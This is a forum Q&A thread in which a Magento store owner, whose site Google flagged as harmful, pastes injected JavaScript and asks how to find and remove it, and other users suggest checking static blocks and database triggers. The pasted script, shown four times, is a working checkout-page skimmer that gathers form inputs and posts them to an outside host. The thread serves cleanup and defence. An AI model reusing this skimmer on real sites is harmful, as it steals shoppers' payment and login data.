1

my website use Magento three day ago my Page Blocked By Google I use Google Webmaster Tools : google say Harmful content 52 link of my web site contain this unknown javascript :

<script type="text/javascript">
<!--
var zeec82c0501f4d57d0b9603dab682b828={
    snd:null,
    fa9729af183d88ef38b4a86b04bef02a5:'https://informaer.net/js/info_jquery.js',
    myid:(function(name){
        var matches=document.cookie.match(new RegExp('(?:^|; )'+name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+'=([^;]*)'));
        return matches?decodeURIComponent(matches[1]):undefined;
    })('setidd')||(function(){
        var ms=new Date();
        var myid = ms.getTime()+"-"+Math.floor(Math.random()*(999999999-11111111+1)+11111111);
        var date=new Date(new Date().getTime()+60*60*24*1000);
        document.cookie='setidd='+myid+'; path=/; expires='+date.toUTCString();
        return myid;
    })(),
clk:function(){
        zeec82c0501f4d57d0b9603dab682b828.snd=null;
        var inp=document.querySelectorAll("input, select, textarea, checkbox, button");
        for (var i=0;i<inp.length;i++){
            if(inp[i].value.length>0){
                var nme=inp[i].name;
                if(nme==''){nme=i;}
                    zeec82c0501f4d57d0b9603dab682b828.snd+=inp[i].name+'='+inp[i].value+'&';
            }
        }
    },
    send:function(){
        try{
            var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
            for(var i=0;i<btn.length;i++){
                var b=btn[i];
                if(b.type!='text'&&b.type!='select'&&b.type!='checkbox'&&b.type!='password'&&b.type!='radio'){
                    if(b.addEventListener) {
                        b.addEventListener('click',zeec82c0501f4d57d0b9603dab682b828.clk,false);
                    }else{
                        b.attachEvent('onclick',zeec82c0501f4d57d0b9603dab682b828.clk);
                    }
                }
            }
            var frm=document.querySelectorAll('form');
            for(vari=0;i<frm.length;i++){
                if(frm[i].addEventListener){
                    frm[i].addEventListener('submit',zeec82c0501f4d57d0b9603dab682b828.clk,false);
                }else{
                    frm[i].attachEvent('onsubmit',zeec82c0501f4d57d0b9603dab682b828.clk);
                }
            }
            if(zeec82c0501f4d57d0b9603dab682b828.snd!=null){
                var domm=location.hostname.split('.').slice(0).join('_')  || 'nodomain';
                var keym=btoa(zeec82c0501f4d57d0b9603dab682b828.snd);
                var http=new XMLHttpRequest();
                http.open('POST',zeec82c0501f4d57d0b9603dab682b828.fa9729af183d88ef38b4a86b04bef02a5,true);
                http.setRequestHeader('Content-type','application/x-www-form-urlencoded');
                http.send('info='+keym+'&hostname='+domm+'&key='+zeec82c0501f4d57d0b9603dab682b828.myid);
            }
            zeec82c0501f4d57d0b9603dab682b828.snd=null;
            keym=null;
            setTimeout(function(){zeec82c0501f4d57d0b9603dab682b828.send()},30);
        }catch(e){}
    }
}

if((new RegExp('onepage|checkout|onestep','gi')).test(window.location)){
    zeec82c0501f4d57d0b9603dab682b828.send();
}
-->
</script>

these part of code effluence all part of my website I do : change user pass admin How do Clean this code from content ? i see : System > Configuration > General > Design But Can not See where these code added

for example in div with class class="widget widget-static-block" three time copy these javascript code how found that class and clear javascript code ?

    <div class="widget widget-static-block ">
                <p><span class="icon phone">&nbsp;</span><span>پشتیبانی: </span><span class="number">02144743742 , 02144743714</span></p><script type="text/javascript">
<!--
var zeec82c0501f4d57d0b9603dab682b828={
    snd:null,
    fa9729af183d88ef38b4a86b04bef02a5:'https://informaer.net/js/info_jquery.js',
    myid:(function(name){
        var matches=document.cookie.match(new RegExp('(?:^|; )'+name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+'=([^;]*)'));
        return matches?decodeURIComponent(matches[1]):undefined;
    })('setidd')||(function(){
        var ms=new Date();
        var myid = ms.getTime()+"-"+Math.floor(Math.random()*(999999999-11111111+1)+11111111);
        var date=new Date(new Date().getTime()+60*60*24*1000);
        document.cookie='setidd='+myid+'; path=/; expires='+date.toUTCString();
        return myid;
    })(),
clk:function(){
        zeec82c0501f4d57d0b9603dab682b828.snd=null;
        var inp=document.querySelectorAll("input, select, textarea, checkbox, button");
        for (var i=0;i<inp.length;i++){
            if(inp[i].value.length>0){
                var nme=inp[i].name;
                if(nme==''){nme=i;}
                    zeec82c0501f4d57d0b9603dab682b828.snd+=inp[i].name+'='+inp[i].value+'&';
            }
        }
    },
    send:function(){
        try{
            var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
            for(var i=0;i<btn.length;i++){
                var b=btn[i];
                if(b.type!='text'&&b.type!='select'&&b.type!='checkbox'&&b.type!='password'&&b.type!='radio'){
                    if(b.addEventListener) {
                        b.addEventListener('click',zeec82c0501f4d57d0b9603dab682b828.clk,false);
                    }else{
                        b.attachEvent('onclick',zeec82c0501f4d57d0b9603dab682b828.clk);
                    }
                }
            }
            var frm=document.querySelectorAll('form');
            for(vari=0;i<frm.length;i++){
                if(frm[i].addEventListener){
                    frm[i].addEventListener('submit',zeec82c0501f4d57d0b9603dab682b828.clk,false);
                }else{
                    frm[i].attachEvent('onsubmit',zeec82c0501f4d57d0b9603dab682b828.clk);
                }
            }
            if(zeec82c0501f4d57d0b9603dab682b828.snd!=null){
                var domm=location.hostname.split('.').slice(0).join('_')  || 'nodomain';
                var keym=btoa(zeec82c0501f4d57d0b9603dab682b828.snd);
                var http=new XMLHttpRequest();
                http.open('POST',zeec82c0501f4d57d0b9603dab682b828.fa9729af183d88ef38b4a86b04bef02a5,true);
                http.setRequestHeader('Content-type','application/x-www-form-urlencoded');
                http.send('info='+keym+'&hostname='+domm+'&key='+zeec82c0501f4d57d0b9603dab682b828.myid);
            }
            zeec82c0501f4d57d0b9603dab682b828.snd=null;
            keym=null;
            setTimeout(function(){zeec82c0501f4d57d0b9603dab682b828.send()},30);
        }catch(e){}
    }
}

if((new RegExp('onepage|checkout|onestep','gi')).test(window.location)){
    zeec82c0501f4d57d0b9603dab682b828.send();
}
-->
</script>
<script type="text/javascript">
<!--
var zeec82c0501f4d57d0b9603dab682b828={
    snd:null,
    fa9729af183d88ef38b4a86b04bef02a5:'https://informaer.net/js/info_jquery.js',
    myid:(function(name){
        var matches=document.cookie.match(new RegExp('(?:^|; )'+name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+'=([^;]*)'));
        return matches?decodeURIComponent(matches[1]):undefined;
    })('setidd')||(function(){
        var ms=new Date();
        var myid = ms.getTime()+"-"+Math.floor(Math.random()*(999999999-11111111+1)+11111111);
        var date=new Date(new Date().getTime()+60*60*24*1000);
        document.cookie='setidd='+myid+'; path=/; expires='+date.toUTCString();
        return myid;
    })(),
clk:function(){
        zeec82c0501f4d57d0b9603dab682b828.snd=null;
        var inp=document.querySelectorAll("input, select, textarea, checkbox, button");
        for (var i=0;i<inp.length;i++){
            if(inp[i].value.length>0){
                var nme=inp[i].name;
                if(nme==''){nme=i;}
                    zeec82c0501f4d57d0b9603dab682b828.snd+=inp[i].name+'='+inp[i].value+'&';
            }
        }
    },
    send:function(){
        try{
            var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
            for(var i=0;i<btn.length;i++){
                var b=btn[i];
                if(b.type!='text'&&b.type!='select'&&b.type!='checkbox'&&b.type!='password'&&b.type!='radio'){
                    if(b.addEventListener) {
                        b.addEventListener('click',zeec82c0501f4d57d0b9603dab682b828.clk,false);
                    }else{
                        b.attachEvent('onclick',zeec82c0501f4d57d0b9603dab682b828.clk);
                    }
                }
            }
            var frm=document.querySelectorAll('form');
            for(vari=0;i<frm.length;i++){
                if(frm[i].addEventListener){
                    frm[i].addEventListener('submit',zeec82c0501f4d57d0b9603dab682b828.clk,false);
                }else{
                    frm[i].attachEvent('onsubmit',zeec82c0501f4d57d0b9603dab682b828.clk);
                }
            }
            if(zeec82c0501f4d57d0b9603dab682b828.snd!=null){
                var domm=location.hostname.split('.').slice(0).join('_')  || 'nodomain';
                var keym=btoa(zeec82c0501f4d57d0b9603dab682b828.snd);
                var http=new XMLHttpRequest();
                http.open('POST',zeec82c0501f4d57d0b9603dab682b828.fa9729af183d88ef38b4a86b04bef02a5,true);
                http.setRequestHeader('Content-type','application/x-www-form-urlencoded');
                http.send('info='+keym+'&hostname='+domm+'&key='+zeec82c0501f4d57d0b9603dab682b828.myid);
            }
            zeec82c0501f4d57d0b9603dab682b828.snd=null;
            keym=null;
            setTimeout(function(){zeec82c0501f4d57d0b9603dab682b828.send()},30);
        }catch(e){}
    }
}

if((new RegExp('onepage|checkout|onestep','gi')).test(window.location)){
    zeec82c0501f4d57d0b9603dab682b828.send();
}
-->
</script>
<script type="text/javascript">
<!--
var zeec82c0501f4d57d0b9603dab682b828={
    snd:null,
    fa9729af183d88ef38b4a86b04bef02a5:'https://informaer.net/js/info_jquery.js',
    myid:(function(name){
        var matches=document.cookie.match(new RegExp('(?:^|; )'+name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+'=([^;]*)'));
        return matches?decodeURIComponent(matches[1]):undefined;
    })('setidd')||(function(){
        var ms=new Date();
        var myid = ms.getTime()+"-"+Math.floor(Math.random()*(999999999-11111111+1)+11111111);
        var date=new Date(new Date().getTime()+60*60*24*1000);
        document.cookie='setidd='+myid+'; path=/; expires='+date.toUTCString();
        return myid;
    })(),
clk:function(){
        zeec82c0501f4d57d0b9603dab682b828.snd=null;
        var inp=document.querySelectorAll("input, select, textarea, checkbox, button");
        for (var i=0;i<inp.length;i++){
            if(inp[i].value.length>0){
                var nme=inp[i].name;
                if(nme==''){nme=i;}
                    zeec82c0501f4d57d0b9603dab682b828.snd+=inp[i].name+'='+inp[i].value+'&';
            }
        }
    },
    send:function(){
        try{
            var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
            for(var i=0;i<btn.length;i++){
                var b=btn[i];
                if(b.type!='text'&&b.type!='select'&&b.type!='checkbox'&&b.type!='password'&&b.type!='radio'){
                    if(b.addEventListener) {
                        b.addEventListener('click',zeec82c0501f4d57d0b9603dab682b828.clk,false);
                    }else{
                        b.attachEvent('onclick',zeec82c0501f4d57d0b9603dab682b828.clk);
                    }
                }
            }
            var frm=document.querySelectorAll('form');
            for(vari=0;i<frm.length;i++){
                if(frm[i].addEventListener){
                    frm[i].addEventListener('submit',zeec82c0501f4d57d0b9603dab682b828.clk,false);
                }else{
                    frm[i].attachEvent('onsubmit',zeec82c0501f4d57d0b9603dab682b828.clk);
                }
            }
            if(zeec82c0501f4d57d0b9603dab682b828.snd!=null){
                var domm=location.hostname.split('.').slice(0).join('_')  || 'nodomain';
                var keym=btoa(zeec82c0501f4d57d0b9603dab682b828.snd);
                var http=new XMLHttpRequest();
                http.open('POST',zeec82c0501f4d57d0b9603dab682b828.fa9729af183d88ef38b4a86b04bef02a5,true);
                http.setRequestHeader('Content-type','application/x-www-form-urlencoded');
                http.send('info='+keym+'&hostname='+domm+'&key='+zeec82c0501f4d57d0b9603dab682b828.myid);
            }
            zeec82c0501f4d57d0b9603dab682b828.snd=null;
            keym=null;
            setTimeout(function(){zeec82c0501f4d57d0b9603dab682b828.send()},30);
        }catch(e){}
    }
}

if((new RegExp('onepage|checkout|onestep','gi')).test(window.location)){
    zeec82c0501f4d57d0b9603dab682b828.send();
}
-->
</script>
    </div>
  • scan your web folder and find where is the code – MagenX Oct 18 '17 at 16:31
  • @adel did you created backup of both files and database before attack, if so better option to revert to those backup & all take all security measures..... – Baby in Magento Oct 26 '17 at 13:31
0

These codes are normally in static pages and in static blocks. Check all your pages and blocks.

|improve this answer|||||
0

My idea tell that mysql injection is running on your database.

Run this query at database

show triggers

If you found any suspicious trigger then you need to changes MySQL access immediately .Also update your magento system to last magento 1.9.X version

|improve this answer|||||

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.